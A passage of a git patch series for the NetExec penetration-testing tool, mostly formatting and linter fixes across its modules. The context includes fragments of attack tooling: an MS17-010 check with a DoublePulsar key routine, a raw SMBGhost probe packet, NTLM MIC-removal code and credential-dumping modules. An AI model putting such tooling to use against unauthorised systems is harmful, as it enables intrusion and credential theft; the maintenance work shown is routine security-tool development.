-0400 Subject: [PATCH 007/103] Fix UP031, remove percent string replacements --- nxc/modules/enum_ca.py | 2 +- nxc/modules/ms17-010.py | 26 +++++++++++++------------- nxc/protocols/ldap.py | 12 ++++++------ 3 files changed, 20 insertions(+), 20 deletions(-) diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py index 7075b8955f..0ff66d0a08 100644 --- a/nxc/modules/enum_ca.py +++ b/nxc/modules/enum_ca.py @@ -86,7 +86,7 @@ def on_login(self, context, connection): if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] - context.log.debug("EXEs %s" % exename) + context.log.debug(f"EXEs {exename}") if exename == "certsrv.exe": context.log.highlight("Active Directory Certificate Services Found.") url = f"http://{connection.host}/certsrv/certfnsh.asp" diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index be0988f460..d0294635c7 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -31,19 +31,19 @@ class SmbHeader(Structure): ] def __init__(self, buffer): - nxc_logger.debug("server_component : %04x" % self.server_component) - nxc_logger.debug("smb_command : %01x" % self.smb_command) - nxc_logger.debug("error_class : %01x" % self.error_class) - nxc_logger.debug("error_code : %02x" % self.error_code) - nxc_logger.debug("flags : %01x" % self.flags) - nxc_logger.debug("flags2 : %02x" % self.flags2) - nxc_logger.debug("process_id_high : %02x" % self.process_id_high) - nxc_logger.debug("signature : %08x" % self.signature) - nxc_logger.debug("reserved2 : %02x" % self.reserved2) - nxc_logger.debug("tree_id : %02x" % self.tree_id) - nxc_logger.debug("process_id : %02x" % self.process_id) - nxc_logger.debug("user_id : %02x" % self.user_id) - nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id) + nxc_logger.debug(f"server_component : {self.server_component:04x}") + nxc_logger.debug(f"smb_command : {self.smb_command:01x}") + nxc_logger.debug(f"error_class : {self.error_class:01x}") + nxc_logger.debug(f"error_code : {self.error_code:02x}") + nxc_logger.debug(f"flags : {self.flags:01x}") + nxc_logger.debug(f"flags2 : {self.flags2:02x}") + nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}") + nxc_logger.debug(f"signature : {self.signature:08x}") + nxc_logger.debug(f"reserved2 : {self.reserved2:02x}") + nxc_logger.debug(f"tree_id : {self.tree_id:02x}") + nxc_logger.debug(f"process_id : {self.process_id:02x}") + nxc_logger.debug(f"user_id : {self.user_id:02x}") + nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}") def __new__(self, buffer=None): nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d04f98d8bc..877b42b693 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -362,7 +362,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}", color="red", ) return False @@ -400,7 +400,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except SessionError as e: error, desc = e.getErrorString() self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False @@ -414,7 +414,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}", + f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -879,7 +879,7 @@ def asreproast(self): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": @@ -1179,7 +1179,7 @@ def trusted_for_delegation(self): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": @@ -1309,7 +1309,7 @@ def admin_count(self): sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) + userAccountControl = "0x{:x}".format(int(attribute["vals"][0])) elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) elif str(attribute["type"]) == "pwdLastSet": From dc415e75e494711c1666f74fdf410d8f9b23a1f5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:04:21 -0400 Subject: [PATCH 008/103] Fixed string concatination that is only available in py3.12+ --- nxc/protocols/nfs.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index f8a5b6c829..2f77b6abfc 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -262,7 +262,7 @@ def shares(self): read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) - self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + "/" + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") + self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") @@ -562,13 +562,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) return root_handles From 1289a0e02592533edd3d636506208aab46b3a60d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:10:49 -0400 Subject: [PATCH 009/103] Enable preview mode as recommended in our doc guidelines --- pyproject.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/pyproject.toml b/pyproject.toml index bfacb755e3..f9884caa7e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,6 +95,7 @@ exclude = [ "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] line-length = 65000 +preview = true [tool.ruff.lint] select = [ From 5782352622d53e21dad53e671cbea72c44a17cf6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:19:38 -0400 Subject: [PATCH 010/103] Remove rule which converts 'x if x else y' and deletes unused variables --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f9884caa7e..8b6f19b5e3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -105,8 +105,8 @@ select = [ ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", - "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012" + "D417", "D419", "FURB110", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012", "RUF059" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings From a42c664326a2f886e05bb717cd492880f99d0cb0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:22:06 -0400 Subject: [PATCH 011/103] Autofix with ruff --- nxc/connection.py | 6 ++---- nxc/database.py | 2 ++ nxc/helpers/args.py | 1 + nxc/helpers/misc.py | 2 +- nxc/helpers/pfx.py | 2 +- nxc/helpers/powershell.py | 5 +++-- nxc/logger.py | 2 +- nxc/modules/adcs.py | 2 +- nxc/modules/add-computer.py | 2 +- nxc/modules/backup_operator.py | 1 + nxc/modules/bitlocker.py | 1 + nxc/modules/coerce_plus.py | 1 - nxc/modules/dpapi_hash.py | 1 + nxc/modules/enum_ca.py | 2 +- nxc/modules/enum_dns.py | 2 +- nxc/modules/enum_impersonate.py | 1 + nxc/modules/enum_logins.py | 1 + nxc/modules/get-network.py | 8 +++----- nxc/modules/ldap-checker.py | 1 - nxc/modules/mremoteng.py | 2 +- nxc/modules/ms17-010.py | 9 --------- nxc/modules/mssql_coerce.py | 1 + nxc/modules/recent_files.py | 2 +- nxc/modules/reg-winlogon.py | 1 + nxc/modules/remove-mic.py | 3 +-- nxc/modules/security-questions.py | 1 + nxc/modules/shadowrdp.py | 1 + nxc/modules/slinky.py | 2 +- nxc/modules/smbghost.py | 1 + nxc/modules/snipped.py | 3 --- nxc/modules/timeroast.py | 4 +--- nxc/modules/uac.py | 1 - nxc/modules/wam.py | 1 - nxc/modules/winscp.py | 1 - nxc/nxcdb.py | 4 +--- nxc/protocols/ftp.py | 1 + nxc/protocols/ldap.py | 6 +++--- nxc/protocols/smb.py | 3 +-- nxc/protocols/smb/dpapi.py | 2 ++ nxc/protocols/smb/firefox.py | 2 ++ nxc/protocols/smb/passpol.py | 2 +- nxc/protocols/smb/proto_args.py | 1 + nxc/protocols/smb/smbspider.py | 1 - nxc/protocols/ssh/proto_args.py | 1 + tests/test_smb_database.py | 2 +- 45 files changed, 47 insertions(+), 54 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 3c9b084309..bd3fac7620 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -302,8 +302,7 @@ def call_modules(self): module.on_shutdown(context, self) def inc_failed_login(self, username): - global global_failed_logins - global user_failed_logins + global global_failed_logins, user_failed_logins if username not in user_failed_logins: user_failed_logins[username] = 0 @@ -313,8 +312,7 @@ def inc_failed_login(self, username): self.failed_logins += 1 def over_fail_limit(self, username): - global global_failed_logins - global user_failed_logins + global global_failed_logins, user_failed_logins if global_failed_logins == self.args.gfail_limit: return True diff --git a/nxc/database.py b/nxc/database.py index 023288f1df..638ccde2ef 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -111,6 +111,7 @@ def initialize_db(): # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol) init_protocol_dbs("default") + def format_host_query(q, filter_term, HostsTable): """One annoying thing is that if you search for an ip such as '10.10.10.5', it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first @@ -141,6 +142,7 @@ def format_host_query(q, filter_term, HostsTable): return q + class BaseDB: def __init__(self, db_engine): self.db_engine = db_engine diff --git a/nxc/helpers/args.py b/nxc/helpers/args.py index 2336a057fa..956ae37ed5 100644 --- a/nxc/helpers/args.py +++ b/nxc/helpers/args.py @@ -1,6 +1,7 @@ from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE from argparse import Action + class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): help_string = action.help diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f732..e860ab881d 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -22,7 +22,7 @@ def gen_random_string(length=10): def validate_ntlm(data): - allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) + allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE) return bool(allowed.match(data)) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 0b1e27e710..4eb0c804d2 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -30,7 +30,6 @@ import secrets import hashlib import datetime -import logging import random import base64 @@ -71,6 +70,7 @@ from nxc.paths import NXC_PATH from nxc.logger import nxc_logger + class myPKINIT(PKINIT): """ Copy of minikerberos PKINIT diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 227325f2af..91e09e6c29 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -12,6 +12,7 @@ obfuscate_ps_scripts = False + def replace_singles(s): """Replaces single quotes with a double quote We do this because quoting is very important in PowerShell, and we are doing multiple layers: @@ -27,6 +28,7 @@ def replace_singles(s): """ return s.replace("'", r"\"") + def get_ps_script(path): """Generates a full path to a PowerShell script given a relative path. @@ -116,12 +118,11 @@ def obfs_ps_script(path_to_script): and debug statements from a PowerShell source file. """ # strip block comments - stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) + stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) - def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True): """ Generates a PowerShell command based on the provided `ps_command` parameter. diff --git a/nxc/logger.py b/nxc/logger.py index 88871f599f..e866ead7f8 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -103,7 +103,7 @@ def __init__(self, extra=None, merge_extra=False): logging.getLogger("dploot").disabled = True logging.getLogger("neo4j").setLevel(logging.ERROR) - def format(self, msg, *args, **kwargs): # noqa: A003 + def format(self, msg, *args, **kwargs): """Format msg for output This is used instead of process() since process() applies to _all_ messages, including debug calls diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index c13c4e56ac..76faae1876 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -27,7 +27,7 @@ def options(self, context, module_options): SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name BASE_DN The base domain name for the LDAP query """ - self.regex = re.compile("(https?://.+)") + self.regex = re.compile(r"(https?://.+)") self.server = None self.base_dn = None diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index d5f7ce9cd2..a9ad232a1b 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import samr, epm, transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt @@ -88,7 +89,6 @@ def on_login(self, context, connection): if not self.noLDAPRequired: self.do_ldaps_add(connection, context) - def do_samr_add(self, context): """ Connects to a target server and performs various operations related to adding or deleting machine accounts. diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 4b85831243..fc29bacdc3 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -9,6 +9,7 @@ from nxc.paths import NXC_PATH + class NXCModule: name = "backup_operator" description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" diff --git a/nxc/modules/bitlocker.py b/nxc/modules/bitlocker.py index ef2711831a..8057cadef0 100644 --- a/nxc/modules/bitlocker.py +++ b/nxc/modules/bitlocker.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + class NXCModule: name = "bitlocker" description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index fa3caf9cae..cabaaa68f6 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -778,7 +778,6 @@ def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") raise e - def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 070121f687..1f02709ff9 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -5,6 +5,7 @@ # Based on dpapimk2john, original work by @fist0urs + class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py index 0ff66d0a08..613cd3cdf9 100644 --- a/nxc/modules/enum_ca.py +++ b/nxc/modules/enum_ca.py @@ -61,7 +61,7 @@ def on_login(self, context, connection): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.setRemoteHost(connection.host) rpctransport.set_dport(self.__port) - elif self.__port in [443]: + elif self.__port == 443: # Setting credentials only for RPC Proxy, but not for the MSRPC level rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.set_auth_type(AUTH_NTLM) diff --git a/nxc/modules/enum_dns.py b/nxc/modules/enum_dns.py index fe88cd29ee..a441ce92f4 100644 --- a/nxc/modules/enum_dns.py +++ b/nxc/modules/enum_dns.py @@ -50,7 +50,7 @@ def on_admin_login(self, context, connection): rname = text.split(" ")[0] rtype = text.split(" ")[2] rvalue = " ".join(text.split(" ")[3:]) - if domain_data.get(rtype, False): + if domain_data.get(rtype): domain_data[rtype].append(f"{rname}: {rvalue}") else: domain_data[rtype] = [f"{rname}: {rvalue}"] diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py index 9dc142c58e..acfaa21698 100644 --- a/nxc/modules/enum_impersonate.py +++ b/nxc/modules/enum_impersonate.py @@ -42,5 +42,6 @@ def get_impersonate_users(self) -> list: """ res = self.mssql_conn.sql_query(query) return [user["name"] for user in res] if res else [] + def options(self, context, module_options): pass diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py index 4230233840..4bdd02335e 100644 --- a/nxc/modules/enum_logins.py +++ b/nxc/modules/enum_logins.py @@ -36,5 +36,6 @@ def get_logins(self) -> list: query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" res = self.mssql_conn.sql_query(query) return [login["name"] for login in res] if res else [] + def options(self, context, module_options): pass diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 732acd2cae..cfe5a10ba0 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -32,10 +32,8 @@ def get_dns_resolver(server, context): # Is our host an IP? In that case make sure the server IP is used # if not assume lookups are working already try: - if server.startswith("ldap://"): - server = server[7:] - if server.startswith("ldaps://"): - server = server[8:] + server = server.removeprefix("ldap://") + server = server.removeprefix("ldaps://") socket.inet_aton(server) dnsresolver.nameservers = [server] except OSError: @@ -44,7 +42,7 @@ def get_dns_resolver(server, context): def ldap2domain(ldap): - return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:] + return re.sub(r",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.IGNORECASE)[3:] def new_record(rtype, serial): diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 59e9550a2a..775b5f8f1f 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -112,7 +112,6 @@ async def run_ldaps_withEPA(self, context, connection, target, credential): context.log.fail(f"Exception in run_ldaps_withEPA: {e}") return None - # Domain Controllers do not have a certificate setup for # LDAPS on port 636 by default. If this has not been setup, # the TLS handshake will hang and you will not be able to diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 875fbb7336..ecdb186eeb 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -16,6 +16,7 @@ class MRemoteNgEncryptionAttributes: encryption_engine: str full_file_encryption: bool + class NXCModule: """ Dump mRemoteNG Passwords @@ -181,7 +182,6 @@ def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_m content = conn.readFile(self.context.share, new_path) self.handle_confCons_file(content) - def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): encrypted_password = b64decode(encrypted_password) if encrypted_password == b"": diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index d0294635c7..3a3a4a66df 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -72,7 +72,6 @@ def on_login(self, context, connection): if str(e) == "Buffer size too small (0 instead of at least 32 bytes)": context.log.debug("Buffer size too small, which means the response was not the expected size") - def generate_smb_proto_payload(self, *protos): """ Flattens a nested list and merges all bytes objects into a single bytes object. @@ -98,7 +97,6 @@ def generate_smb_proto_payload(self, *protos): self.logger.debug(f"Packed proto data: {hex_data}") return hex_data - def calculate_doublepulsar_xor_key(self, s): """ Calculate Doublepulsar Xor Key. @@ -115,8 +113,6 @@ def calculate_doublepulsar_xor_key(self, s): x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) return x & 0xffffffff # truncate to 32 bits - - def negotiate_proto_request(self): """Generate a negotiate_proto_request packet.""" self.logger.debug("generate negotiate proto request") @@ -160,7 +156,6 @@ def negotiate_proto_request(self): # Return the generated SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) - def session_setup_andx_request(self): """Generate session setup andx request.""" self.logger.debug("generate session setup andx request" @@ -210,7 +205,6 @@ def session_setup_andx_request(self): return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) - def tree_connect_andx_request(self, ip, userid): """Generate tree connect andx request. @@ -279,7 +273,6 @@ def tree_connect_andx_request(self, ip, userid): # Generate the final SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) - def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id): """ Generate tran2 request. @@ -345,7 +338,6 @@ def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id): return self.generate_smb_proto_payload(netbios, smb_header, tran_request) - def trans2_request(self, treeid, processid, userid, multiplex_id): """Generate trans2 request. @@ -409,7 +401,6 @@ def trans2_request(self, treeid, processid, userid, multiplex_id): return self.generate_smb_proto_payload(netbios, smb_header, trans2_request) - def check(self, ip, port=445): """Check if MS17_010 SMB Vulnerability exists. diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py index a4dca25a27..d1b597ef54 100644 --- a/nxc/modules/mssql_coerce.py +++ b/nxc/modules/mssql_coerce.py @@ -1,5 +1,6 @@ import sys + class NXCModule: """Execute arbitrary SQL commands on the target MSSQL server""" diff --git a/nxc/modules/recent_files.py b/nxc/modules/recent_files.py index 0a1059e069..d7a7771842 100644 --- a/nxc/modules/recent_files.py +++ b/nxc/modules/recent_files.py @@ -18,7 +18,7 @@ def options(self, context, module_options): def on_admin_login(self, context, connection): lnks = [] - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): context.log.highlight(f"C:\\{directory.get_longname()}") recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" diff --git a/nxc/modules/reg-winlogon.py b/nxc/modules/reg-winlogon.py index 90dd1103be..fc85422c09 100644 --- a/nxc/modules/reg-winlogon.py +++ b/nxc/modules/reg-winlogon.py @@ -1,6 +1,7 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations + class NXCModule: r""" WinLogon AutoLogon: extract the credential from the following registry hive diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 40e43c97b0..e63eb83e7e 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -52,6 +52,7 @@ def on_login(self, context, connection): else: context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", @@ -162,7 +163,6 @@ def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash= if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN - keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, lmhash, nthash, use_ntlmv2) @@ -170,7 +170,6 @@ def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash= if user == "" and password == "" and lmhash == "" and nthash == "": keyExchangeKey = b"\x00" * 16 - if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) diff --git a/nxc/modules/security-questions.py b/nxc/modules/security-questions.py index e729a05a41..91630aed0b 100644 --- a/nxc/modules/security-questions.py +++ b/nxc/modules/security-questions.py @@ -4,6 +4,7 @@ from json import loads from traceback import format_exc as traceback_format_exc + class NXCModule: """ Module by Adamkadaban: @Adamkadaban diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py index 40ad812042..59c148e987 100644 --- a/nxc/modules/shadowrdp.py +++ b/nxc/modules/shadowrdp.py @@ -1,6 +1,7 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations + # Module by @Defte_ # Enables or disables shadow RDP class NXCModule: diff --git a/nxc/modules/slinky.py b/nxc/modules/slinky.py index ac4d24206a..2b6f97a326 100644 --- a/nxc/modules/slinky.py +++ b/nxc/modules/slinky.py @@ -3,6 +3,7 @@ from sys import exit from nxc.paths import TMP_PATH + class NXCModule: """ Original idea and PoC by Justin Angel (@4rch4ngel86) @@ -61,7 +62,6 @@ def options(self, context, module_options): self.ico_uri = module_options["ICO_URI"] context.log.debug("Overriding") - self.lnk_name = module_options["NAME"] self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk" self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") diff --git a/nxc/modules/smbghost.py b/nxc/modules/smbghost.py index 0cc01d643d..f8c61341ff 100644 --- a/nxc/modules/smbghost.py +++ b/nxc/modules/smbghost.py @@ -10,6 +10,7 @@ # SMBGhost Packet SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' + class NXCModule: name = 